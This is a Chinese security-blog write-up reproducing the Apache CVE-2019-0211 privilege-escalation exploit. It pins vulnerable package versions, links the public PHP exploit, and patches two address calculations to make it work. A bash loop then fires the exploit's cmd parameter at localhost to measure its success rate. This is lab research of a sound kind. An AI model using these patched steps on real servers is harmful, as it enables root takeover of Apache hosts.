1. 首页
  2. 网络安全技术

CVE-2019-0211:Apache HTTP服务组件提权漏洞利用及复现

CVE-2019-0211:Apache HTTP服务组件提权漏洞利用及复现

本月Apache被公布了一个提权的漏洞,漏洞编号CVE-2019-0211,并且前天在GitHub上公布出了利用脚本。

环境复现:

跟系统关系不是很大,主要问题是能不能用包管理器安装对应版本的apache

$ lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
# Apache版本,复现的关键就在该版本
$ apache2 -v
Server version: Apache/2.4.29 (Ubuntu)
Server built: 2018-03-02T02:19:31
# php版本
$ php -v
PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies

环境说明:

apache使用apt安装的版本属于已经修复的版本,所以需要指定一下版本: # apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4

php直接用apt安装就好了

Exp地址: https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php

需要开启ssl模块:a2enmod ssl

SSL模块说明:

就算不开ssl模块,漏洞也是存在的。
就算不开启ssl模块,你自己修改apache配置,能开启其他端口,也是能利用的。
如果只开了80端口,则需要另行找一条利用链,github上公布exp在只开启了一个端口的情况下是无效的。
简单的来说,只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。

EXP“踩坑”:

我试过了很多版本,没有一个版本是能直接使用Github上的exp的,在上述表面的版本中,经过调试研究发现了两个问题导致了利用失败:

$all_buckets = $i - 0x10 计算出问题
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); 计算出问题

第一个计算all_buckets的地址,使用gdb进行调试,你会发现,这个值并没有算错,但是在执行apache2ctl graceful命令以后,all_buckets 生成了一个新的值,不过只和之前的all_buckets地址差0x38000,所以这个问题很好解决:

$all_buckets = $i - 0x10 + 0x38000;

第二个计算没必要这么复杂,而且在我测试的版本中还是算的错误的地址,直接改成:

$bucket_index = $bucket_index_middle;

在exp的注释中看到了说该利用没法100%成功,有失败的概率,所以整合脚本进行测试:

root@agesec:~# cat check
#!/bin/bash

SUCC=0
COUNT=0
for i in $(seq 1 20)
do
let COUNT+=1
/etc/init.d/apache2 stop
sleep 1
/etc/init.d/apache2 start
if [ -f "/tmp/1982347" ];then
rm /tmp/1982347
fi
curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347"

apache2ctl graceful

sleep 1

if [ -f "/tmp/1982347" ];then
let SUCC+=1
fi

done

echo "COUNT: $COUNT"
echo "SUCCESS: $SUCC"

并没有遇到失败的情况。

文章来源:【安全时代】 原文链接:https://www.agesec.com/article/127.html

安全时代全部内容仅适用于网络安全技术爱好者学习研究,学习中请遵循国家相关法律法规。

安全时代全部数据来源互联网,不代表安全时代立场,如侵犯您权益可邮箱联系我们,详情:版权纠纷

发表评论

电子邮件地址不会被公开。 必填项已用*标注